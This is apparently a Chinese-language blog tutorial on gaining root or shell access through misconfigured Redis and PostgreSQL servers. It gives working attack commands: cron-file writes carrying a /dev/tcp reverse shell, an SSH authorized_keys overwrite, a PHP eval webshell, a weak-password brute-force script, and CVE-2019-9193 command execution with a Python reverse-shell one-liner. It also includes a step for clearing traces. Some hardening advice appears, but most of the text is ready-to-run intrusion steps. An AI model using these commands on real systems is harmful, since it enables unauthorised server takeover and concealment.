目录
0x01 PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)
0x03 PostgreSQL远程代码执行漏洞(CVE-2018-1058)
前言:
通过之前对Access、MSSQL(SQL server)和Mysql注入的介绍,大家对数据库的提权方式有了一定的认知,我认为耗时间的是Access,这和它开发的理念有直接的关系,而本次介绍的是Redis和PostgreSQL的提权,和之前提权利用的点很相似,会利用到系统自带独特的方式,主要集中在配置文件发生问题,进行反弹连接,进行渗透。
权限提权——Win提权漏洞及数据库&AT&SC&PS提权__Cyber的博客-CSDN博客
WEB SQL漏洞-Access、MSSQL(SQL server)注入__Cyber的博客-CSDN博客
(一)Redis提权
Redis服务因配置不当,可被攻击者恶意利用。黑客借助Redis内置命令,可将现有数据恶意清空;如果redis以root身份运行,黑客可往服务器上写入SSH公钥文件,直接登录服务器。
0x01 利用计划任务执行命令反弹shell
在redis以root权限运行时可以写crontab来执行命令反弹shell,其中可以写入cron的地方有:
/etc/crontab
这个是肯定的/etc/cron.d/*
将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab
相同.漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell/var/spool/cron/root
centos系统下root用户的cron文件/var/spool/cron/crontabs/root
debian系统下root用户的cron文件
先在自己的服务器上监听一个
nc -lvnp 5555
然后执行命令:
redis-cli -h 192.168.2.6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/5555 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
执行完命令就可以看到写入的命令
等待定时任务的执行,就会获得反弹的shell
具体操作可以参考我之前总结的
0x02 写ssh-keygen公钥登录服务器
1、利用条件
- Redis服务使用root账号启动
- 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
2、过程
利用redis的文件写入,写入一个ssh-keygen公钥,然后利用私钥登录
0x01、本地生成ssh密钥
ssh-keygen -t rsa
2 目标机上写入公钥
192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"
OK
192.168.63.130:6379> save
OK
3 进行连接
0x03 获取web服务的shell
如果不是root权限且该服务器上有web环境,当然也可以利用redis这个文件写入的能力,写入一个webshell
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['jinyouxin']);?>"
save
未授权检测代码:
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
return u"未授权访问"
elif "Authentication" in result:
for pass_ in PASSWORD_DIC:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(pass_))
result = s.recv(1024)
if '+OK' in result:
return u"存在弱口令,密码:%s" % (pass_)
except Exception, e:
pass
if __name__ == '__main__':
ip=sys.argv[1]
port=sys.argv[2]
print check(ip,port, timeout=10)
0x04 修复方案
以低权限运行Redis
禁止外网访问Redis
#修改redis配置
bind 127.0.0.1
3. 禁止高危命令
#修改 redis.conf 文件,禁用远程修改 DB 文件地址
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
#或者通过修改redis.conf文件,改变这些高危命令的名称
rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3"
(二)PostgreSQL 提权漏洞
0x01 PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)
1.漏洞介绍
PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令
2.漏洞复现
(1)使用navicat填好数据库连接信息,点击新建查询以执行SQL语句
(2)验证漏洞的步骤很简单:创建一个表cmd_exec(名字随意),调用COPY TO/FROM PROGRAM功能执行系统命令,从表中查看命令执行的结果
在PostgreSQL里面postgres就是最高权限
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';
SELECT * FROM cmd_exec;
(三)采用python反弹shell,注意SQL语句中的单引号前面要再加一个单引号进行转义
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
(四 )接收端机器上用nc -lvp port监听,得到反弹回来的bash,可以执行命令
(五)反弹成功后可直接在navicat那边停掉查询,虽然停掉后shell这边会报个错,但是不影响使用
(六)清除痕迹
Drop table cmd_exec;
0x02 pg_hba.conf配置错误
1. 漏洞简述
pg_hba.conf文件是记录postgresql数据库连接认证方式的文件,若配置错误可导致攻击者无需密码即可连接数据库。
2.复现步骤
(1)当认证方式为 trust时:只验证用户名,不验证密码。
(2)修改pgsql的data目录下的pg_hba.conf文件加入上面一条,然后重启服务
(3)之后不需要密码即可连接成功
(4)随意输入任意密码也可连接成功
0x03 PostgreSQL远程代码执行漏洞(CVE-2018-1058)
1.漏洞简述
普通用户在public空间上重载函数加入恶意代码,待高权限用户调用该函数时即可以高权限执行这个恶意代码。
2.漏洞范围
9.3--10 版本中除了下图的版本
3.复现步骤
(1)首先登陆数据库创建一个普通用户admin
(2)查看权限,admin并非超级管理员
(3)以admin用户身份创建一个表hehehehe并插入数据,重载函数upper,插入作用为提升自己权限的恶意代码
(4)切换用户为超级管理员postgres,模拟管理员在不知情情况下登陆
(5)再模拟管理员在不知情情况下执行了函数upper对表hehehehe进行查询
参考文献
https://blog.csdn.net/Blood_Pupil/article/details/88795627
http://www.mamicode.com/info-detail-3051203.html
https://www.cnblogs.com/KevinGeorge/p/8521496.html